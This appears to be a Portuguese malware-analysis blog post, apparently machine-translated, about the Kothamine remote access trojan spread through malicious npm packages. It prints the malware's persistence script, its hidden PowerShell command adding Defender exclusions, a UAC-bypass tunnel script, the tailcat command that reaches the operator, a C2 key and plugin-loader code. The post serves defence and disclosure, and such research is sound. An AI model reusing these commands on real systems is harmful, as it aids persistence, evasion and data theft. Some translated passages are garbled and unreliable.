Descobrimos um Trojan de acesso remoto (RAT) não documentado chamado Kothamine Agent . Suporta mais de 30 comandos e dá aos atacantes o controlo de um sistema infetado. Windows computador: podem executar comandos, ler e modificar ficheiros e adicionar novas funcionalidades. Algumas versões podem também roubar dados do browser e gravar através da câmara e do microfone.
Verificámos que o Kothamine está associado a pacotes npm maliciosos, o que pode colocar em risco os utilizadores e os programadores que instalam estes pacotes. Nas versões recentes, o malware utiliza o tailcat , uma ferramenta de código aberto da Tailscale, para receber comandos através de uma ligação encriptada. Isto dificulta a inspeção das suas comunicações e impede os defensores de bloquear um domínio de comando e controlo (C2) convencional.
Com base nos uploads do VirusTotal e nos commits do GitHub, o Kothamine parece estar em desenvolvimento ou distribuição desde pelo menos julho. As versões anteriores utilizavam o Tailscale. VPN em vez do tailcat. Dependendo da versão, o malware inclui as ferramentas de rede ou descarrega-as de fontes como o GitHub.
Como se manter seguro
Antes de instalar um pacote npm desconhecido, verifique o seu repositório, os mantenedores, as dependências e as versões recentes. Procure relatos de atividades maliciosas e dê preferência a pacotes com histórico consolidado e manutenção regular.
- Verifique o nome com atenção. Certifique-se de que não está a descarregar um pacote falso com um nome semelhante.
- Verifique o programador ou a organização e certifique-se de que a editora parece legítima. Veja, por exemplo, se ela tem um site ou um repositório no GitHub.
- Leia algumas avaliações, problemas e relatos. Pesquise o nome do pacote no Google e verifique se há relatos de possível malware detetado.
- Veja como ele é popular. Um pacote com muitos downloads e utilizadores é geralmente mais fácil de verificar do que um pacote totalmente novo, sem quase nenhum histórico.
Análise técnica
Kothamine e os pacotes maliciosos npm
O Kothamine está escrito em C e C++. Na maioria das amostras que analisámos, é constituído por um injetor e uma DLL contendo o agente. O agente suporta mais de 30 comandos, permitindo ao operador controlar o sistema infetado e carregar DLLs adicionais para ampliar as suas capacidades.

O agente Kothamine sofreu algumas alterações ao longo do tempo. As versões anteriores que se encontravam no VirusTotal utilizavam o Tailscale. VPN em vez de tailcat, e as strings não estavam encriptadas. Algumas funcionalidades, incluindo uma forma de contornar o Controlo de Conta de Utilizador (UAC) e os comandos de roubo de dados, foram apenas detetadas em determinadas versões.
Em algumas versões, o Kothamine descarregava os ficheiros do Tailscale do site oficial do Tailscale ou de um repositório do GitHub, em vez de os incluir no agente.
O mesmo repositório GitHub é citado em um conselho sobre um pacote npm malicioso chamado dotnet-runtime-baseO pacote de download npm-sc-legit.exe desse repositório. À data da redação deste texto, outros dois pacotes publicados pelo mesmo programador tinham sido removidos.

Os autores destas campanhas cometeram um erro e publicaram instruções para a compilação. kothamine-stub-cpp num dos pacotes. O guia aborda também o carregamento de assemblies .NET, algo que não observámos nos exemplos que analisámos.

O npm-sc-legit.exe O executável é uma versão compilada do Kothamine que também contém comandos para roubar dados. Não encontrámos um painel ou construtor para o Kothamine, mas as características presentes nas diferentes versões sugerem que os operadores podem ativar funções e comandos específicos, conforme necessário.

A análise que se segue centra-se numa amostra recente do Agente Kothamine que utiliza o tailcat para comunicação C2.
Como funciona o agente Kothamine
Nas versões analisadas, um executável internamente denominado Kothamine Injector injeta a DLL do Kothamine Agent, normalmente em explorer.exeTambém fazemos referência a versões anteriores para mostrar como o agente mudou.
1. Injetor de Kothamine
O injetor de kotamina realiza as seguintes operações:
- Adiciona Windows Exclusões do Defender utilizando o PowerShell
- Copia-se a si própria para
%ROAMING%\MicrosoftEdgeUpdateCore.exe - Extrai a DLL do agente para
%ROAMING%\MicrosoftEdgeUpdateCore.dll - Cria
up.ps1em%TEMP%para persistência - Injeta a DLL do agente em
explorer.exeusandoOpenProcess,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread, eLoadLibraryA

explorer.exe O up.ps1 O script cria uma tarefa agendada para obter persistência utilizando o executável Injector:
$A=New-ScheduledTaskAction -Execute 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe'
$T=New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask 'MicrosoftEdgeUpdateTask' -Action $A -Trigger $T -RunLevel Limited -Force
2.º Agente Kothamine
Agente iniciante
O agente cria um mutex chamado Local\KothamineAgentInstance e inicia o seu fio condutor principal.
Em seguida, executa comandos PowerShell para adicionar o executável e a DLL ao Windows Lista de exclusão do Defender:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\Desktop' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionProcess '{PROCESS_NAME}.exe' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue"
Nas versões anteriores, as strings não eram encriptadas. As versões recentes desencriptam as strings diretamente no código ou através de funções que utilizam XOR com uma chave diferente para cada string.


Comunicação C2 usando tailcat
A característica distintiva do Kothamine não é a complexidade técnica, a funcionalidade do agente ou a ofuscação, mas sim a utilização do Tailcat e do Tailscale. VPN para receber comandos a executar. Este proporciona ao agente um canal de comunicação resiliente e encriptado.
O Tailcat é um projeto de código aberto recente, lançado pela equipa da Tailscale. O Tailcat utiliza o plano de dados da Tailscale (WireGuard, NAT traversal e DERP), mas sem o seu plano de controlo. De acordo com a documentação oficial, isto significa que o Tailcat não tem endereços IP, contas, administradores, utilizadores, controlos administrativos ou governação. Estas características tornam-no, portanto, uma ferramenta atraente para utilização em malware.
Ao contrário da escama da cauda VPN O Tailcat não exige conta nem registo de dispositivo. Os seus desenvolvedores projetaram-no para conexões de curta duração.
Como não existem contas, o acesso baseia-se na posse de um endereço tailcat e das chaves públicas utilizadas para identificar os dispositivos de ligação. Isto não torna a ligação completamente anónima: os servidores de retransmissão alojados podem reter registos de metadados.
O tc-address O parâmetro `forward` permite ao cliente obter as informações necessárias para encaminhar corretamente o pedido. Além disso, o `tailcat` não requer acesso privilegiado à máquina, uma vez que utiliza a ferramenta de linha de comandos (CLI) e bibliotecas do espaço do utilizador.
Nas versões recentes do Kothamine, o agente extrai o tailcat dos seus recursos e guarda-o como %ROAMING%\TailscalePortable\tailcat.exe.

O executável tailcat é iniciado com o CreateProcessA função e os seguintes parâmetros (internamente designados como spawn_tailcat_forward fase):
"C:\Users\{USER}\AppData\Roaming\TailscalePortable\tailcat.exe" forward tc…. 18080:4444
Este comando disponibiliza as portas do servidor tailcat como portas TCP locais padrão (18080 (neste caso) e os pedidos são encaminhados para a porta 4444 do nó operador. O Kothamine utiliza funções de socket para se ligar a 127.0.0.1:18080, onde o gato-de-cauda está a ouvir.
Se a string de ID do agente não estiver vazia, o agente enviará um pedido de perfil encriptado contendo as seguintes informações (run_c2_loop fase):
{"name":"base_<rand()>","os":"Windows","ip":"0.0.0.0","auth_token":"af27..,"type":"base"}
De seguida, o agente entra num ciclo infinito para receber comandos para executar do C2 (run_c2_loop fase). O agente aguarda novos comandos para executar utilizando o select A função socket envia periodicamente mensagens KEEP-ALIVE no caso de não ser recebido qualquer comando.
As mensagens trocadas com o C2 são encriptadas e desencriptadas usando o AES-GCM (aes_encrypt fase).
A chave AES de 32 bytes é descodificada em base64 a partir da string (c2_key fase):
mrowPsW2P5kzFGCNWeKAd+kYpo8Yy5c2pzaOSRuzisU=
Comandos suportados
Nesta versão, o agente Kothamine suporta 30 comandos. relacionado com:
- Interação com processos
- Interação com ficheiros e diretórios
- Executar comandos shell
- Ampliar a capacidade do agente com base nas DLL recebidas.
| Nome do comando | Descrição |
sysinfo/systeminfo, curpid | Retorna informações do sistema, como PID, caminho atual, nome do host e sistema operativo (definido no código). |
tasklist, kill | Retorna os processos obtidos através de “ tasklist /FO CSV /NH ”. Termina o processo especificado pelo PID utilizando “ taskkill /F /PID ”. |
ping | Teste de funcionamento: “Pong” regressa ao C2. |
ipconfig | Executa o comando “ ipconfig /all ” e devolve o resultado. |
exec, shell_exec | Executa os comandos da shell com _popen() e envia a saída de volta. |
mkdir, rmdir, cp, mv, cd, ls, dir, pwd | Interage com ficheiros e pastas no sistema. |
writefile_start, writefile_chunk, writefile_end, writefile, readfile, createfile, delfile, download | Lê, escreve e apaga ficheiros arbitrários. |
load_feature | Escreve e carrega uma DLL codificada em base64 recebida. A DLL é carregada utilizando LoadLibraryA e o método “ GetFeatureApi ”, resolvido através de GetProcAddress , é executado. Guarda os ponteiros de função necessários para executar a função. |
exec_feature, features, list_features, unload_feature | Interage com os recursos carregados para os visualizar, executá-los ou removê-los. |
Dado que os restantes comandos são comuns aos outros agentes, o foco da análise está no sistema de "plugins" que permite ao operador receber DLLs e ampliar a funcionalidade do agente.
Sistema de plugins
Para carregar uma nova DLL, o operador utiliza o comando:
load_feature <name> <B64EncodedDLL>
Em termos gerais, o processo funciona da seguinte forma. O código e os nomes das variáveis abaixo foram reconstruídos a partir dos registos de utilização e de saída.
- Em primeiro lugar, o agente verifica se a funcionalidade já foi carregada e, em caso afirmativo, descarrega-a:
if (g_features.find(name) != g_features.end()) {
send_text("[!] " + name + " already loaded, unloading first");
unload_feature(name);
}
- Tenta criar a DLL recebida num local obtido através de
GetTempPathouSHGetFolderPathAou no caminho codificado.C:\Windows\TempGrava a DLL descodificada e carrega-a comLoadLibraryA.
- Resolve e executa o
GetFeatureApimétodo da DLL carregada:
pGFA = GetProcAddress(hModDLL, "GetFeatureApi");
if (!pGFA) {
send_text("[!] GetProcAddress(GetFeatureApi) failed, lastError= …");
FreeLibrary(hMod);
return 0;
}
api = pGFA();
Não encontrámos uma DLL que nos permitisse analisar completamente a estrutura devolvida por GetFeatureApiNo entanto, ao analisar o código e as strings, identificamos os seguintes campos:
/* Function used for C2 callback */
typedef void (*FeatureSendCb)(void *data, int len);
struct FeatureApi {
char *version;
char *name;
void (*init)(FeatureSendCb send);
void (*exec)(char *args, FeatureSendCb send);
void (*cleanup)(void);
};
Os ponteiros para a DLL carregada e para a estrutura devolvida são guardados no ambiente global. variável chamada internamente g_features, utilizando esta estrutura:
struct LoadedFeature {
void *hModule; /* Loaded DLL */
struct FeatureApi *api; /* Pointer returned by GetFeatureApi() */
};
- Executa o
initfunção contida na estrutura retornada, passando-lhe a função utilizada para a comunicação C2:
send_text("[!] calling init...");
api->init(*feature_send_callback);
send_text("[!] init done");
Após o carregamento da funcionalidade, o operador pode executá-la através do comando:
exec_feature <functionName> [args]

exec funçãoDiferentes builds de Kothamine: Tailscale VPN , Desvio do UAC e comandos de roubo
Como referido anteriormente, detetámos versões do Kothamine com diferentes capacidades.
As versões anteriores utilizavam a escala de cauda. VPN antes do lançamento do Tailcat. Descarregaram e executaram o instalador do site da Tailscale com o /quiet e /silent flags, ou descarregaram os ficheiros necessários diretamente do GitHub. Isso incluía tailscaled.exe, tailscale.exe, tailscale-ipn.exe, e wintun.dll.

Algumas versões ignoram o Controlo de Conta de Utilizador (UAC) utilizando fodhelper.exe para executar elevated.ps1No exemplo abaixo, o script PowerShell inicia um Tailscale. VPN ligação:
$tsdir='C:\Users\{USER}\AppData\Roaming\TailscalePortable'
$ts='""'+$tsdir+'\\tailscale.exe""'
$tsd='""'+$tsdir+'\\tailscaled.exe""'
Start-Process -WindowStyle Hidden -FilePath $tsd -WorkingDirectory $tsdir
$connected=$false
for ($i=0; $i -lt 45; $i++) {
Start-Sleep 2
try { &$ts up --unattended=true --auth-key='tskey-auth-…' 2>&1 | Out-Null } catch {}
$ip=(&$ts ip 2>&1 | Out-String)
if ($ip -match '100\.') { $connected=$true; break }
}
O agente liga-se então à porta. 4444 num endereço IP de rede Tailscale (100.x.x.x) e começa a receber e a executar comandos.

fodhelper.exePor fim, como já referimos anteriormente, as diferentes versões do Kothamine suportam outros comandos. Por exemplo, a versão enviada para o GitHub inclui comandos adicionais, tais como: getdiscord, getsessions, screenshot, screenshare, e cameraIsto permite que os operadores:
- Roubar cookies de vários browsers
- Roube ficheiros JSON relacionados com jogos, incluindo ficheiros associados ao Steam e ao Minecraft.
- Faça capturas de ecrã e grave vídeos utilizando a câmara e o microfone.
- Aceder ao conteúdo da área de transferência
Indicadores de comprometimento
hashes SHA-256
ec4219a7ecf132c29080fbb20e4ab410c57faa85aeed7acade1eb15d905a6ee0Injetor de Kothamine analisado no blog74eca3973ad72a6ddc9397aff8250d9ee287211fc9a055d5ee290d01cf76a70cAgente Kothamine analisado no blog
URLs
https://github[.]com/cphc811-ui/Repositório utilizado para descarregar executáveis e DLLs associados ao Tailscale. VPN
Agradecimentos
Aviso da Mondoo sobre o pacote npm analisado .
Navegue como se ninguém estivesse a ver.
VPN Malwarebytes Privacy VPN a sua ligação e nunca regista o que faz, para que a próxima notícia que ler não pareça dirigida a si.Experimente gratuitamente →




